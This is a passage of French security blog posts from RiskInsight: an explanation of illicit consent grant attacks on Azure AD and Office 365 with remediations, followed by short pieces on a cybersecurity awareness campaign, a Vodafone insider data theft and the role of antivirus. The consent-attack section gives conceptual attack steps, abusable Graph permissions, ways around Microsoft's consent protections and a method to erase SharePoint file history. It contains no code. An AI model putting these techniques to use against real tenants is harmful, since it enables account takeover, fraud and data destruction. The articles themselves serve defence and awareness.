Or, ce consentement permet à l’attaquant de réaliser des actions au nom de la victime, en fonction des permissions accordées. A noter que l’attaque par consentement illicite a de nombreux avantages pour un attaquant, notamment :

• L’utilisation d’une URL associée à Microsoft lors de la demande de consentement, considérée comme de confiance et impliquant donc moins de méfiance de la part des utilisateurs ciblés.
• L’obtention d’un accès persistant pendant 90 jours, sans connaissance du mot de passe de l’utilisateur ni du second facteur d’authentification, si aucune stratégie d’accès conditionnels n’est implémentée.
• La possibilité de requêter directement les APIs de Microsoft pour récupérer de manière automatisée les fichiers, emails et autres ressources de l’entreprise accessibles par l’utilisateur piégé.

Aparté technique

D’un point de vue technique, l’attaque par consentement illicite repose sur la capacité d’un attaquant à créer une application demandant des délégations de permissions. La délégation de permission est une fonctionnalité qui est régulièrement utilisée par les utilisateurs sans qu’ils s’en rendent compte, par exemple le client Outlook est autorisé par défaut à récupérer et les notifier de l’arrivée de nouveaux emails.

Voici les étapes clés lors de la réalisation de ce type d’attaque (qui repose sur la cinématique Authorization Code Grant d’OAuth 2.0) :

• L’attaquant crée une application d’entreprise sur Azure AD (application registration) et configure les permissions qu’il souhaite obtenir de la part des utilisateurs. Il peut instancier également un « client_secret» sur l’application. Certaines contraintes liées à cette application sont détaillées plus bas.
• Il met en place un serveur vers lequel les utilisateurs seront redirigés suite aux consentements et indique son URL en tant qu’URL de redirection valide pour l’application.
• À la suite du consentement d’un utilisateur, celui-ci sera redirigé vers le site malveillant et un code sera fourni à l’attaquant. Ce code est la preuve à montrer à Microsoft que l’utilisateur autorise l’application à faire des actions en son nom.
• A l’aide de ce code et du « client_secret » de l’application, l’attaquant pourra récupérer un jeton OAuth. Ce jeton est un récépissé signé par Microsoft qui précise les actions que la victime autorise à faire en son nom. L’attaquant peut également récupérer un « refresh_token » permettant de renouveler la validité du jeton OAuth.
• Ce jeton OAuth est alors utilisable pour envoyer des requêtes à la Graph API au nom de la victime et par conséquent permet d’usurper son identité.

Quelles sont les conséquences d’une telle attaque ?

Si certaines permissions nécessitent par défaut l’approbation d’un administrateur pour être déléguées, d’autres permissions peuvent être déléguées directement par les utilisateurs dans les environnements Azure non durcis. Les permissions pouvant être récupérées par l’attaquant lors de ce type d’attaque dépendent donc de la configuration du tenant Azure AD ciblé.

Voici quelques exemples d’abus possibles par un attaquant qui aurait réussi à récupérer les permissions d’un utilisateur sur un environnement non durci.

Actions réalisables à la suite d’une attaque par consentement illicite réussie sur en environnement Azure non durci

• Azure Active Directory :
  • La permission Microsoft Graph User.ReadBasic.All permet de récupérer les adresses email des tous les utilisateurs d’un tenant, ce qui permet de déployer des attaques de phishing à plus grande échelle à partir d’une première compromission.
• Outlook :
  • L’envoi d’un email au nom d’un utilisateur peut permettre la réalisation d’attaques dites de « fraude au président » à l’aide des permissions Microsoft Graph Mail.Send et Mail.ReadWrite. Un employé compromis disposant d’un niveau hiérarchique élevé pourrait par exemple demander par email l’envoi en urgence d’une somme important d’argent à un compte non répertorié par l’entreprise.
  • Les emails envoyés peuvent également être dissimulés à l’aide de règles de filtrage Outlook pouvant être modifiées à l’aide de la permission MailboxSettings.ReadWrite. L’attaquant pourra alors rediriger tous les emails liés à son attaque et les réponses associées vers un dossier différent des boites d’envoi et de réception.
• Teams :
  • La lecture et l’envoi de messages via Teams (Microsoft Graph Chat.ReadWrite) est une méthode efficace pour un attaquant d’usurper l’identité d’un utilisateur. Cette méthode peut également être utilisée pour réaliser des attaques de « fraude au président ».
• OneDrive et SharePoint :
  • L’accès en lecture aux fichiers accessibles sur OneDrive et SharePoint (Microsoft Graph Files.Read.All) peut donner accès à l’ensemble des fichiers accessibles par l’utilisateur. De plus, les droits d’accès aux fichiers SharePoint sont souvent stockés avec des droits d’accès permissifs ce qui permet aux attaquants de récupérer un très grand nombre de fichiers. Il n’est pas rare par exemple d’avoir à accès à des scripts ou fichiers de configurations contenant des mots de passe en clair.
  • Par ailleurs, les fonctionnalités de recherche de SharePoint, permettant notamment la lecture et l’indexation du contenu des fichiers Office, peuvent être utilisées afin de cibler certains mots clés tels que « mot de passe ».
  • Les droits d’écriture sur un fichier SharePoint (Microsoft Graph Files.ReadWrite.All) peuvent également avoir un impact important : les fonctionnalités de versioning de SharePoint limitent par défaut l’enregistrement des anciennes versions des fichiers à 100 versions. Cela signifie qu’en cas de réécritures automatisées et successives plus de 100 fois, la version initiale du fichier ne serait plus récupérable. Cela permettrait donc à un attaquant d’effacer un grand nombre de données en cas de compromission d’un compte disposant de droits d’écriture sur des fichiers sensibles. En cas d’effacement, il faudrait alors contacter le support Microsoft pour tenter de récupérer les données sur les sauvegardes quotidiennes à froid.
• OneNote :
  • Les fichiers OneNote synchronisés (Microsoft Graph Notes.ReadWrite ou Read.All) peuvent contenir des informations sensibles tels que des comptes-rendus de réunion, confidentielles, mais aussi des informations techniques telles que des mots de passes stockés de manière non sécurisée.
• Ressources Azure :
  • L’accès aux key vaults et storage accounts (Azure Key Vault et Azure Storage user_impersonation) peuvent donner accès à des éléments sensibles en cas de compromission de comptes de développeurs ou d’utilisateurs techniques. Ces éléments peuvent faciliter la compromission de ressources Azure telles que des machines virtuelles et servir de point de rebond pour un attaquant externe.

Ces actions peuvent avoir de graves impacts pour une entreprise. Par ailleurs, elles peuvent faciliter la réalisation d’attaques plus élaborées en divulguant des informations sensibles à un attaquant externe.

En cas d’approbation par un administrateur, des permissions plus sensibles peuvent être récupérées comme l’accès en écriture à l’ensemble des informations de l’annuaire Azure Active Directory.

Enfin, les administrateurs disposent du droit de déléguer à une application les permissions de tous les utilisateurs du tenant. Dans cette éventualité, l’identité de l’ensemble des utilisateurs pourraient être usurpée pour la permission déléguée.

La mise en place par Microsoft du « risk-based consent step up » pour limiter les attaques par consentement illicite

Face à cette menace Microsoft a implémenté en novembre 2020 des protections supplémentaires pour limiter l’impact de ce type d’attaques. La fonctionnalité de « risk-based consent step up » a pour objectif de lever un avertissement et de demander la validation d’un administrateur en cas de demande de permission semblant frauduleuse.

La demande d’accès depuis une application non vérifiée de droits considérés comme sensible est bloquée par défaut

Celle-ci s’applique dans le cas d’une demande de permissions par une application non vérifiée crée hors du tenant ciblée. Par défaut, toutes les permissions sont concernées, à l’exception de la lecture du profil de l’utilisateur cible, pour faciliter l’authentification unique (SSO) avec des applications tierces.

Cette restriction est implémentée par défaut sur tous les tenants Azure.

Si ces restrictions permettent de limiter les attaques, 3 types d’applications sont cependant toujours utilisables à des fins malveillantes : les applications « legacy », les applications internes au tenant ciblé et les applications vérifiées.

• Applications « legacy » :
  • Afin de permettre une rétrocompatibilité, aucun message d’avertissement n’est affiché pour une demande de permissions provenant d’une application créée avant novembre 2020.
  • Prérequis pour l’attaquant : disposer d’une application créée sur un tenant Azure avant novembre 2020 ou compromettre un tenant contenant de telles applications.
• Applications internes au tenant ciblé :
  • Ces applications ne sont pas couvertes par le « risk based consent step up ». Par défaut, tous les utilisateurs d’un tenant Azure disposent du droit de création d’une application d’entreprise sur leur tenant ce qui facilite la réalisation de l’attaque sur un environnement non durci.
  • Prérequis pour l’attaquant : disposer d’un premier compte compromis sur le SI de l’entreprise ciblée, s’apercevoir que la création des applications est autorisée pour les utilisateurs standards et déployer une application interne au tenant.
• Applications vérifiées :
  • Les applications vérifiées ne sont pas couvertes par le « risk based consent step up ». La procédure de vérification de Microsoft nécessite d’intégrer le Microsoft Partner Network.
  • Prérequis pour l’attaquant : disposer d’une application vérifiée ou compromettre un tenant Azure disposant d’applications vérifiées et détourner l’utilisation de ces applications légitimes.

Remédiations possibles

Afin de limiter la probabilité et l’impact de telles attaques, les recommandations suivantes peuvent être appliquées et adaptées au contexte de l’entreprise :

• Autoriser uniquement les applications explicitement approuvées par les administrateurs. Cette configuration est la plus sécurisée, mais l’étape de validation peut constituer un goulot d’étranglement puisque ce sont généralement les Global Administrators et Privileged Role Administrators qui doivent faire la validation. En pratique, certains droits peuvent être aussi délégués via les Cloud Application Administrators ou les Application Administrators.

Le consentement de délégation de privilèges par les utilisateurs standards peut être bloqué via les configurations Azure AD

• Limiter les permissions pour lesquelles les délégations peuvent être réalisées. Un administrateur peut spécifier les permissions à faible risque (Low) pour lesquelles les délégations peuvent être directement faites par les utilisateurs.

Le consentement de délégation de privilèges par les utilisateurs standards peut être limité aux droits considérés non sensibles via les configurations Azure AD

• Créer un processus de validation des applications légitimes et de admin consent workflow pour tracer et justifier ces validations. En durcissant les modalités d’octroi de consentements, il est nécessaire de conjointement mettre en place un manière simple et intuitive pour les utilisateurs de demander des dérogations pour déléguer des permissions liées à des cas d’usage légitimes. Ces exceptions doivent être tracées et justifiées afin de s’assurer de la légitimité des demandes.
• Faire une revue régulière des droits délégués aux applications (Entreprise applications) : les permissions déléguées par les utilisateurs doivent être revues afin de s’assurer que seules des applications légitimes disposent de droits sur les ressources Office 365 du tenant.

La revue régulière des applications disposant de droits sur un tenant Azure permet de valider que les privilèges octroyés sont toujours d’actualité

• Superviser les accès suspects aux ressources Office 365. Il est possible par exemple de mettre en place des règles d’alerte sur le nombre de fichiers téléchargés sur un temps court afin d’identifier les tentatives d’exfiltration de données.
• Limiter les droits d’accès aux fichiers SharePoint au strict nécessaire: les fichiers accessibles à tous les utilisateurs d’un tenant doivent être vérifiés à intervalle régulier et les droits d’accès aux fichiers les plus sensibles doivent être revus pour s’assurer que seules les personnes nécessaires y ont accès.

Conclusion

Les différentes attaques par phishing présentées dans cet article reposent sur un manque de durcissement des configurations Azure AD. La mise en place d’un second facteur d’authentification, bien que nécessaire face aux attaques par phishing traditionnelles, n’est pas suffisante pour se prémunir des autres attaques présentées. Pour les attaques via l’authentification « device code », les administrateurs peuvent mettre en place des politiques d’accès conditionnel pour limiter les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise. Pour les attaques par consentement illicite, la mesure la plus efficace consiste à autoriser uniquement les applications approuvées par les administrateurs.

Ces trois éléments de durcissement, bien que simples en apparence, peuvent faire l’objet de véritables chantiers de sécurisation afin de prendre en compte l’historique, notamment en s’assurant que les applications existantes ne soient pas bloquées par ces mesures, et en implémentant des processus de revues régulières et de validation des nouvelles applications.

Bibliographie

https://aadinternals.com/post/phishing/

https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/

https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/

https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview

https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview

https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent

https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails

[1] https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code

Cet article Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ? est apparu en premier sur RiskInsight.

Un message à faire passer « Sur Internet, je reste en alerte »

Alors que les menaces se multiplient concernant aussi bien les entreprises que les citoyens, cette opération ludique et décalée a pour objectif de montrer qu’il est possible de lutter contre le piratage en adoptant les bons réflexes.

Conçue par l’agence W, cette campagne de sensibilisation se décline au travers du site internet www.hack-academy.fr. Le CIGREF a choisi de se servir des codes qui parlent à tout le monde, ceux de la télé-réalité pour faire passer des messages et élever le niveau de conscience.

Qui sera le hacker de demain ?

Les quatre vidéos publiées sur le site mettent en scène des jeunes candidats révélant leurs talents de pirate informatique devant un jury de professionnels de la « Hack Academy » dont l’objectif est de découvrir les hackers de demain.

Les candidats Jeny, Dimitri, Martin et Willy s’attaquent aux principales attaques auxquelles les internautes peuvent être confrontés. Ils abordent avec humour le phishing, le piratage de mot de passe ou encore le cheval de Troie.

En plus des vidéos, le site hack-academy.fr propose également de défier chacun des candidats au travers d’un quizz encore une fois basé sur l’humour et la pédagogie.

Le site permet également d’accéder à des fiches pratiques sur les différents types d’attaques et les façons de se protéger.

Pour Jean-Paul Mazoyer, Président du cercle Cybersécurité du CIGREF : « Grâce à l’efficacité des campagnes grand-public par exemple sur l’alcool au volant ou la ceinture de sécurité, nous nous sentons maintenant concernés par ces questions… Hack-academy  sera la première campagne touchant la cybersécurité ! L’histoire du premier geste qui protège les données sur Internet ne fait que commencer »

Découvrez Willy, le spécialiste du phishing, selon lui « Avec un simple mail et une photo on peut berner n’importe qui … »

Et pour voir toutes les vidéos, rendez-vous sur : www.hack-academy.fr

Cet article La Hack Academy, première campagne nationale de sensibilisation à la cybersécurité est apparu en premier sur RiskInsight.

Une attaque motivée par la perspective de gains financiers

L’enquête semble converger vers un prestataire de l’opérateur qui aurait réalisé le vol de données. Ce dernier a déjà été interpellé par les forces de l’ordre, preuve pour les plus sceptiques, de l’efficacité aujourd’hui des autorités sur ces dossiers d’attaques informatiques. Nous en saurons certainement plus dans les jours qui viennent sur ses motivations, mais la recherche de gains financiers ne doit pas être négligée. Aujourd’hui, un « enregistrement client » (nom, prénom, adresse…) peut se monnayer autour de 15 centimes de dollars, ce qui représente quand même plus 300 000 euros dans le cas de Vodafone.

En effet, plus de deux millions de données clients ont été dérobées, dont certaines informations bancaires. Ces données pourront servir à réaliser des attaques en phishing de « haute qualité », capables de tromper plus facilement les destinataires grâce à des informations fiables. Heureusement, les enregistrements les plus sensibles (numéro de carte, mot de passe…) semblent avoir été épargnés. Dans le cas contraire,  l’impact aurait pu être bien plus important : des fraudes financières auraient pu être réalisées directement.

 Prestataires et administrateurs : des populations à encadrer

Cet incident met à nouveau en lumière la faille majeure que représentent les fonctions d’administrations du SI. Sans préjuger de la situation de Vodafone, ces fonctions sont souvent externalisées à moindre coût dans des méga-contrats dont les contours sont toujours difficiles à cerner (qualification des employés, sous-traitance masquée, pays concernés…) et dont les mesures de sécurité censés encadrer les usages sont rarement vérifiées sur le terrain. Et cette situation se rencontre malheureusement dans de nombreux secteurs, même les plus sensibles. N’oublions pas qu’Edward Snowden, administrateur sous-traitant, nous dévoile régulièrement depuis le début de l’été des documents secrets de la NSA…

Des changements à entamer à la DSI et à la direction des achats dès aujourd’hui pour limiter les risques

Vodafone vient de voir son image écornée et les coûts de gestion de l’incident risquent d’être élevés. Au-delà des coûts directs liés aux investigations, le volet notification des clients peut être majeur. Les chiffres en provenance des États-Unis parlent d’un coût autour de 100€ par clients à notifier, nous sommes dans une fourchette rapidement supérieures à la centaine de millions d’euros.

Dans cette situation, et pour limiter les impacts, un contrat de cyber assurance peut être utile, mais attention il ne doit pas contenir d’exclusion sur les malveillances internes.

Au-delà de cette mesure de compensation, il est bien évidemment nécessaire de vérifier sur les périmètres les plus sensibles de l’entreprise, la qualité et la sécurité des processus d’administration. Il s’agit d’un chantier d’ampleur, qui au-delà de la mise en place de mesures techniques (mise en place de plateforme de rebond, journalisation des actions, limitations des comptes d’administration, utilisation de postes de travail dédiés non connectés à Internet…) est avant tout un projet de conduite du changement. Un changement à mener à deux niveaux, auprès de populations de la DSI souvent très (voir trop) autonomes dans la réalisation de leurs actions au quotidien qui doivent accepter la mise en place de mesure de sécurité et de contrôle, mais aussi et peut être surtout au niveau de la direction des achats pour valoriser les fonctions d’administration du SI et faire de la sécurité un des critères de premiers plans dans les contrats d’externalisation.

Cet article Vol de données chez Vodafone : un rappel douloureux de la « menace intérieure » est apparu en premier sur RiskInsight.

Certes, les attaques évoluent, exploitant de plus en plus des vulnérabilités non dévoilées (type 0-days), ou faisant appel à des méthodes de phishing avancées contre lesquels les antivirus paraissent bien impuissants.

Même s’ils sont aujourd’hui loin d’être suffisants, leur utilité est pourtant toujours réelle.

 De l’antivirus au client unique de sécurité, les éditeurs ont fait évoluer leur offre

L’outil désigné par « antivirus » couvre en fait, dans la majorité des cas, plusieurs fonctions : antivirus (et de manière plus générale, antimalware), mais aussi pare-feu personnel, Host IPS (HIPS), outil de contrôle des ports USB…

C’est ce que l’on appelle le « client unique de sécurité » sur le poste de travail.

Il constitue aujourd’hui un rempart évident contre les infections, en particulier celles qui sont involontaires (clé USB infectée) ou récurrentes (virus anciens qui réapparaissent ponctuellement).

L’expérience des nombreux audits menés par Solucom montre qu’il protège parfois aussi contre des attaques plus complexes. Il peut par exemple détecter l’ exploitation d’une vulnérabilité pour laquelle le système n’aurait pas reçu le correctif, de type Conficker.

Il suffit d’ailleurs de se connecter à une console antivirus d’entreprise pour s’en convaincre : les détections/suppressions de virus sont encore nombreuses et régulières. En particulier, on constate souvent un pic lors des fameux scans hebdomadaires, souvent décriés par les utilisateurs pour les ralentissements qu’ils provoquent sur les postes (et leur manque d’efficacité supposé).

Plusieurs initiatives de grands comptes visant à diminuer leur fréquence ont d’ailleurs vu le jour.Elles n’ont jamais abouti, tant ces scans paraissent aujourd’hui encore  nécessaires – ne serait-ce que dans un rôle de « voiture-balai » afin de nettoyer le résidu récurrent de logiciels malveillants en tout genre. En revanche, une approche réaliste pour réduire le temps de scan est possible : réaliser un scan différentiel. Seuls les fichiers modifiés par rapport à la semaine précédente sont scannés.

 Le futur des antivirus est… dans le Cloud !

 Pour autant, les limites des antivirus ne font que s’affirmer depuis des années :

•  Les malwares sont de plus en plus complexes, leurs variantes innombrables, et même les éditeurs les plus réactifs ne sont plus capables de suivre la cadence.

• Dans les meilleurs cas, les définitions virales sont mises à jour quotidiennement sur les postes de travail : c’est déjà trop au vu des vitesses de propagation.

Un problème d’historique apparaît également : comment cumuler toutes les définitions de virus anciens et nouveaux, sans que la taille des fichiers contenant ces définitions n’explose, ralentissant encore le poste de travail, tout en nécessitant de plus en plus de temps à déployer ?

Les éditeurs d’antivirus commencent à proposer une réponse à ces problématiques, à travers le Cloud. Plutôt que de scanner un fichier sur le poste de travail, il s’agit d’en faire un hash (empreinte unique pour chaque fichier), qui est envoyé sur un serveur de l’éditeur, dans le Cloud. Il est alors comparé à une base de données mondiale, et peut même faire l’objet d’une note de « réputation » selon sa probabilité d’être ou non malveillant. L’information est alors renvoyée à l’antivirus sur le PC, qui prend les actions nécessaires le cas échéant.

Cette méthode prometteuse a toutefois ses contraintes : la nécessité d’une connexion internet, de qualité et le manque de maîtrise de la réaction de l’antivirus en cas de faux positif.

 Des changements de plateforme structurants

 Un dernier élément vient s’ajouter à la question de l’évolution des antivirus : il s’agit de l’évolution des systèmes d’exploitation eux-mêmes.

Les OS modernes intègrent en effet un certain nombre de mécanismes de sécurité natifs, qui rendent les attaques plus difficiles : isolement inter-applicatif, applications et drivers signés, mécanismes de cryptographie…

 Les deux principales plateformes mobiles en sont un bon exemple : tandis que l’efficacité des rares antivirus reste à démontrer sur Android, ils sont tout simplement interdits par Apple sur iOS. Pourtant, à part quelques vulnérabilités médiatisées, les cas d’infection dans le cadre d’une utilisation normale sont anecdotiques.

Ceci reste cependant à nuancer : les attaquants évaluent au final les coûts/bénéfices de chaque type d’attaque. Lorsque le développement de virus sur smartphone sera plus lucratif que l’exploitation d’une faille de navigateur Web, il deviendra sans doute à la mode…

Le cas de Windows 8 est encore différent : s’il dispose d’un environnement « nouvelle génération » avec les applications du Windows Store, il propose une rétrocompatibilité avec les programmes plus anciens… y compris malveillants.

N’enterrez donc pas tout de suite votre antivirus, il pourrait encore vous servir pendant des années !

Cet article Un antivirus sur votre PC entreprise en 2013 ? Pour quoi faire ? est apparu en premier sur RiskInsight.